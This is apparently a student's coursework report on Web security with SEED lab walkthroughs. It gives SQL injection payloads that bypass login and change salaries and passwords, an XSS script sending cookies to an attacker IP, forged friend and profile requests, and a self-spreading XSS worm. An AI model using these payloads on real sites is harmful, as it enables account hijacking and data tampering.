20199136 2019-2020-2 《网络攻防实践》第十一周作业
1. 实践内容
1.1 Web应用程序体系结构及其安全威胁
Web应用体系结构
-
Web应用程序(web application)Web应用程序是一种可以通过Web访问的应用程序,程序的最大好处是用户很容易访问应用程序,用户只需要有浏览器即可,不需要再安装其他软件。应用程序有两种模式C/S和B/S:
-
C/S是客户端/服务器端程序,也就是说这类程序一般独立运行
-
B/S就是浏览器端/服务器端应用程序,这类应用程序一般借助IE等浏览器来运行。
-
-
WEB应用程序一般是B/S模式。Web应用程序首先是“应用程序”,和用标准的程序语言,如C、C++等编写出来的程序没有什么本质上的不同。然而Web应用程序又有自己独特的地方,就是它是基于Web的,而不是采用传统方法运行的。换句话说,它是典型的浏览器/服务器架构的产物。一个Web应用程序是由完成特定任务的各种Web组件(web components)构成的并通过Web将服务展示给外界。在实际应用中,Web应用程序是由多个Servlet、JSP页面、HTML文件以及图像文件等组成。所有这些组件相互协调为用户提供一组完整的服务。
-
浏览器:使用HTTP/HTTPS协议、HTML语言与Web服务器进行交互,获取信息。
-
Web服务器:不仅仅是一个HTTP守护程序,还有对各种Web动态编程语言的支持。
-
数据库:Web应用存储数据的地方。
-
Web应用程序:负责服务器端的业务逻辑处理,最为常见的三层体系结构:
-
表示层:接受Web客户端的输入并显示结果。
-
业务逻辑层:从表示层接受输入并完成某些工作,需要数据层的协作,再将结果送回表示层。
-
数据层:以数据库或本地文件的形式,提供非易失的信息存储。
-
-
传输协议HTTP/HTTPS:浏览器与Web站点之间的通信传输协议使用HTTP/HTTPS协议,HTTP协议默认使用TCP 80端口,该协议采用统一资源标识符URI对各种资源进行统一定义,采用请求/相应模式。SSL/TLS隧道技术,来实现加密传输的HTTPS协议。
-
-
Web应用安全威胁
-
针对浏览器和终端用户的Web浏览安全威胁:网页木马、网站钓鱼等。
-
针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、拒绝服务攻击等。
-
系统层安全威胁:Web站点的宿主操作系统。
-
Web服务器软件安全威胁:Web服务器软件也存在着漏洞与弱点。
-
Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容。
-
1.2 Web应用安全攻防技术概述
-
Web应用攻击路线主要包括Web应用信息收集、攻击Web服务器软件、攻击Web应用程序、攻击Web数据内容、本地攻击。
-
Web应用信息收集
- 定义:主要手机内容包括服务器域名、IP地址和虚拟IP地址、Web服务器端口与其他开放服务、Web站点类型和版本、Web应用程序类型及版本、Web服务器及其存在的安全漏洞信息。
- 手工审查Web应用程序结构与源代码
- 查看静态和动态生成的页面,主要查看源代码、 隐藏信息和动态页面中的页面命名规则等。
- 查看Web服务器的存储目录结构。
- 查看辅助性文件,包括CSS级联样式表、XML样式表、数据库字段结构、目录路径、输入参数以及数据库连接字符串。
- 输入表单,表单是Web应用程序接受用户输入的主要途径,通过手工审查页面源代码可以发现一些关键表单的位置。
- 查询参数字符串,复用以假冒其他用户、获取受限的数据、运行任意的系统命令等,提供了Web应用程序内部工作的信息。
-
自动下载与镜像Web站点页面:自动化上面的手工审查过程。
-
Google Hacking技术审查与探测Web应用程序:Google利用Googlebot和Google Search Engine已经帮我们下载并分析了几乎所有公开页面,Google的高级搜索与挖掘技巧可以在在大范围内搜索存有漏洞的Web应用程序。
-
Web应用程序安全评估与漏洞审查
- 针对Web应用程序的攻击主要集中在身份验证、会话管理、数据库操作、输入数据合法/合理性检查。
- 安全辅助分析工具主要包括浏览器插件、免费工具集、商业Web应用安全评估系统和漏洞扫描器。
-
攻击Web服务器软件(流行的Web服务器软件主要分为两类:)
-
MS:Win200x Server/IIS/MS SQL/ ASP/ASP.NET
-
LAMP: Linux/Apache/MySQL/PHP
-
Web服务器平台中的安全漏洞
- 数据驱动的远程代码执行安全漏洞:Web服务器软件作为网络服务守护进程,也会出现缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。
- 服务器功能扩展模块漏洞:IIS软件、WebDAV模块、Apache扩展组件模块都存在漏洞。
- 样本文件安全漏洞:Web应用服务器包含的样板脚本和代码示例存在漏洞。
- 源代码泄露:能够查看到没有防护措施Web服务器上的应用程序源码。
- 资源解析攻击:把同一资源的不同表示形式解析为它的标准化名称的过程。
-
-
攻击Web应用程序
- Web应用程序的不安全性
- Web应用程序编码质量和测试均有限: 安全最薄弱环节。
- Web应用的复杂性和灵活性进一步恶化了其安全性。
- Web应用程序的不安全性
-
Web应用程序安全威胁类型
-
针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段。
-
授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段。
-
客户端攻击:扰乱或渗透攻击web站点客户端用户的攻击手段。
-
命令执行攻击:在web站点执行远程命令的攻击手段。
-
信息暴露:获取web站点具体系统信息的攻击手段。
-
逻辑攻击:扰乱或渗透攻击web应用逻辑流程的攻击手段。
-
-
攻击Web数据内容
-
安全敏感数据泄露
- web服务器存在目录遍历漏洞或不安全的目录文件枚举配置。
- 利用web服务器的上传目录临时中转文件。
- 在web站点公开的文档资料中包含个人隐私、企业秘密。
-
网站篡改:利用特定攻击手段入侵网站后,将网站页面内容进行替换,表达入侵成功或某种观点诉求。
-
不良信息内容上传:网站被攻陷后可能成为不良信息的存储和中转仓库。
-
-
Web应用安全防范措施
-
Web站点网络传输安全设防措施:使用HTTPS、SFTP等安全协议等。
-
Web站点操作系统及服务安全设防措施:定期进行操作系统及服务的补丁更新、漏洞扫描等。
-
Web应用程序安全设防措施:在设计时就应该谨慎考虑,并且要多设置日志信息。
-
Web站点数据安全设防措施:提高个人的安全意识,提高系统的数据保护能力。
-
1.3 SQL注入攻击
-
代码注入攻击定义:代码注入利用Web应用程序的输入验证不完善漏洞,使得Web应用程序执行由攻击者所注入的恶意指令和代码。包括恶意读取、修改与操纵数据库的SQL注入攻击;在Web服务器端安装、执行Webshaell等恶意脚本的PHP注入或ASP注入攻击;在Web服务器端恶意执行操作系统命令的shell注入攻击还有其他攻击等。
-
SQL注入攻击原理:利用Web应用程序的数据层存在的输入验证不完善性安全漏洞实施的代码注入攻击技术。由于用户输入没有被正确地过滤以消除SQL语言中的转义字符,或没有进行严格的类型判断,使得用户可以输入并执行一些非预期的SQL指令代码。
-
SQL注入攻击例子:最常见的SQL注入攻击在用户登录这一功能上,如下
-
用户登录SQL语句形如:SELECT * FROM user WHERE name = ' " + userName + " ' and password= ' "+ password +" '。
-
该SQL语句提交到后台数据库执行,如果输入用户名在accounts表中,且口令正确,则成功登录。否则提示失败。因此常见的利用SQL注入攻破用户登录,关键在于在参数name或是password中插入特殊符号,以篡改程序SQL的条件判断。
-
譬如我们这样输入:
用户名:'1' OR '1'='1'
密码:'1' -
那么程序接收到参数后,SQL语句就变成了:SELECT * FROM user WHERE name = '1' OR '1'='1' and password= '1'。恒为真,即可骗过程序,在没有账号密码的情况下成功登录。
-
SQL注入攻击步骤
-
发现SQL注入点:常见的SQL注入点存在于形如http://SITE/xxx.asp?some_rec=yyy的动态网页时,当some_rec字段为整形参数,通常数据库SQL操作语句为“SELECT * FROM some_table WHERE some_rec=yyy”,可将参数取值yyy设置为如下三种不同的字符串,并通过返回页面来确定该动态页面是否存在SQL注入点。
- yyy修改为yyy' 造成SQL出错,动态页面返回错误提示信息。
- yyy修改为yyy and 1=1 不对查询条件造成任何影响,返回正常页面。
- yyy修改为yyy and 1=2 查询不到任何信息。
-
-
判断后台数据库类型
- 利用数据库服务器的系统变量。
- 利用数据库服务器的系统表进行判断。
-
利用SQL注入进行后台口令拆解
- 猜解后台口令表表名。
- 猜解字段名。
- 猜解字段值: 二分法逼近。
- 口令可能为MD5散列后的密文。
-
上传ASP后门,得到默认账户权限:在破解得到Web应用管理员用户名和口令后,通过找出后台管理界面登录,攻击者就可以通过后台管理界面通常所提供的的下载上传文件等功能上传ASP后门,对Web站点进行远程控制。
-
本地特权提升
-
利用数据库扩展存储过程执行shell命令:通过SQL注入点执行相应的扩展存储过程。
-
1.4 XSS跨站脚本攻击
-
定义:XSS跨站脚本攻击的最终目标不是提供服务的Web应用程序而是使用Web应用程序的用户。XSS的漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意代码(HTML或JavaScript)用户在浏览网页时,浏览器会解析这些插入的代码,造成获取用户敏感信息、客户端渗透攻击等后果。
-
XSS攻击技术原理:Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为alert(/xss/),这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。
-
持久性XSS漏洞
-
漏洞形式: Web应用程序允许用户输入内容并持久保存并显示在网页上。
-
攻击方式: 攻击者通过利用跨站漏洞构建恶意脚本,对大量用户构成危害。
-
典型案例: 留言本/论坛/博客/wiki等。
-
非持久性XSS(例子讲解)
- 攻击者构造一个包含恶意脚本的bank.com登录请求连接,通过email等方式将该攻击发送给其他用户。
- 用户点击登录连接后会将恶意连接中包含的恶意脚本当做用户名参数提交给bank.com登陆处理页面。
- 网站将会在反馈的欢迎页面中包含恶意客户端脚本。
- 攻击者的恶意客户端在受害者浏览器中执行,会驱动浏览器发送会话令牌。
- 攻击者获得用户会话令牌后,可以劫持用户会话,伪造用户登录进一步实施攻击。
-
-
XSS攻击防范措施
-
服务器端防范措施:“限制、拒绝、净化”
- 输入验证: 对用户提交数据进行尽可能严格的验证与过滤。
- 输出净化: HTMLEncode()方法。
- 消除危险的输入点。
-
客户端防范措施
- 提高浏览器访问非受信网站时的安全等级。
- 关闭Cookie功能,或设置Cookie只读。
- 建立安全意识和浏览习惯。
-
2.实践过程
2.1 SEED SQL注入攻击与防御实验
-
任务:我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。 该Web应用程序是一个简单的员工管理应用程序。 员工可以通过此Web应用程序查看和更新数据库中的个人信息。 此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。 员工是一般角色,可以查看或更新自己的个人资料信息。 完成以下任务
-
熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。 该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。 在此任务中,您需要使用数据库来熟悉SQL查询。
-
对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
-
对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
-
SQL对抗,修复上述SQL注入攻击漏洞。
- 实验环境:SEED Ubuntu 16.04
- Web网站:http://www.seedlabsqlinjection.com/index.html
- 通过指令
sudo service apache2 start
来启动Apache服务,可用指令sudo systemctl status apache2
来查看是否成功启动
2.1.1 熟悉SQL语句
- 首先通过指令
mysql -u root -pseedubuntu
登录MySql数据库,-u
制定用户名,-p
指定密码 - 通过指令
use User;
,show tables;
来查看该数据库下的表
- 然后使用指令
select * from credential;
来打印所有员工的信息,可看到员工的姓名、工资以及hash之后的密码
2.1.2 对SELECT语句的SQL注入攻击
- 网页端攻击
首先打开网页http://www.seedlabsqlinjection.com/index.html
,其对应的文件地址在/var/www/SQLInjection
,其中有一个存在sql注入攻击的主页unsafe_home.php
,通过查看里面的代码可以发现,如果我们输入的username字段为Admin'#
,Password可以是任意值。因为#
在sql语句中代表注释,代码中#
之后的内容在实际执行sql语句的过程中是看不到的。
- 攻击成功
2.1.3.对UPDATE语句的SQL注入攻击
-
首先查看后台代码
vim /var/www/SQLInjection/unsafe_edit_backend.php
,核心还是sql语句。可以发现,如果我们输入的nickname为', salary='500000' where EID='10000';#
就可以成功改变salary。 -
在
Edit Profile
页面的nickname字段填入上一条语句,可以发现,成功改变了salary的值。同理,我们在Alice修改的界面的nickname输入', salary='2' where name='Boby';#
,发现boby的工资已经成功被修改
- 然后是修改其他用户的密码。
由于密码在数据库中是以sha1的形式存储的,那么我们需要获取一个指定密码的sha1值。使用指令echo -n '123'|sha1sum输出密码123的sha1值
还是用Alice的账户登录,继续在edit profile那里修改用户名,填上以下指令进行sha1值的修改', Password='40bd001563085fc35165329ea1ff5c5ecbdbbeef' where Name='Boby';#
。这个时候我们正常登陆Boby的账户,发现通过我们修改的123密码已经能够完成正常的登录。此时我们成功的完成了攻击。
2.2 SEED XSS攻击实验
-
任务:为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
-
发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
-
弹窗显示cookie信息:将cookie信息显示。
-
窃取受害者的cookies:将cookie发送给攻击者。
-
成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
-
修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
-
编写XSS蠕虫。
-
对抗XSS攻击。
我们使用Alice作为攻击者,Boby作为受害者,Admin作为蠕虫攻击的第二波受害者。Alice的账户为alice密码aliceseed,Boby账户boby密码seedboby,Admin账户名admin密码seedelgg
2.2.1.发布恶意消息,显示警报窗口
访问实验网站http://www.xsslabelgg.com
,使用 Alice 的账户进行登录,用户名为alice
,密码为 seedalice
。
在个人主页这里进行 Edit profile,在 Brief description中输入:<script>alert('XSS WARNING');</script>
这里使用的是JavaScript代码。
<script>
是弹出的脚本标签,alert
是提示警告内容。()
内是警告文本内容。
保存后返回主页,发现弹出如下警报窗口
2.2.2.弹窗显示cookie信息
与上个小题操作类似,在个人主页中的Brief description,输入<script>alert(document.cookie);</script>
然后保存,这是使用了一个可以显示cookie的指令
2.2.3.窃取受害者的cookies
-
可以通过使恶意的JavaScript插入一个标签,其src属性设置为攻击者的机器来实现。
当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。使用JavaScript将cookies发送到攻击者机器的6677端口(非重复端口即可),若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。代码为<script>document.write('<img src=http://192.168.200.4:8899?c=' + escape(document.cookie) + '>');</script>
-
使用nc进行监听8899端口,-l指定端口,-v显示详细信息。这样任意用户访问Alice的主页都将向攻击者的服务器发送对应的cookie信息
2.2.4.成为受害者的朋友
- 在XSS攻击之前,我们首先要知道:在正常的情况下,添加好友应该发送什么样的指令。为此我们点击Add Friend,并同时使用HTTP Header Live查看发送的数据。我们得到如下图的信息。
- 可以看到请求的方式是POST,请求的地址是http://www.xsslabelgg.com/action/friends/add。请求地址的第一个参数是
friend=
,请求地址的第二个参数是&__elgg_ts=
,请求地址的第三个参数是&__elgg_token=
也就是说我们要指明添加的好友,添加的时间并进行添加者的身份验证。
可以编写出如下的代码,用于xss攻击自动添加好友。(照搬)
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
- 将上述代码放到Alice的About me中
- 然后用boby的账号访问Alice的个人主页,可以截获到这样一条请求。之后返回boby主页,可以看到boby自动加了Alice的好友
2.2.5.修改受害者的信息
- 同样,在XSS攻击之前,我们首先要知道:在正常的情况下,修改简介应该发送什么样的指令。为此我们点击Edit profile,并同时使用HTTP Header Live查看发送的数据。可以得到请求的方式是
POST
,请求的地址是http://www.xsslabelgg.com/action/profile/edit
,请求地址的第一个参数是&__elgg_token=
,请求地址的第二个参数是&__elgg_ts=
,请求地址的第三个参数是&__name=elgg.session.user.name
。结合分析得到的信息,可以编写出如下的代码,用于xss攻击自动添加好友。
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
//FILL IN
var samyGuid=44;
//FILL IN
if(elgg.session.user.guid!=samyGuid)
{
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- 将代码放到alice的about me中。登陆boby账号访问Alice的个人主页可以看到信息被成功修改
2.2.6.编写XSS蠕虫。
- 蠕虫攻击代码
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- 还是将代码放入Alice的about me处,切换账户让boby去访问Alice主页,这时候蠕虫病毒已经侵染了Boby的主页。为证明该信息,可用admin用户去访问一下boby,可看到admin用户也被感染
3.学习中遇到的问题
问题1:在做SQL注入攻击时傻傻找不到edit profile页面在哪
问题2:没弄明白在seed里面为什么无法进行复制粘贴操作了
4.学习感悟
这次实验整体逻辑还是蛮清楚的,对于0基础的我来说认真看了课本内容的话,也能了解每个步骤或者代码的目的。但是感觉这次实验操作很不流畅,还是怪自己动手能力太差。初识基于web页面的脚本语言——javascript,感觉很神奇很强大。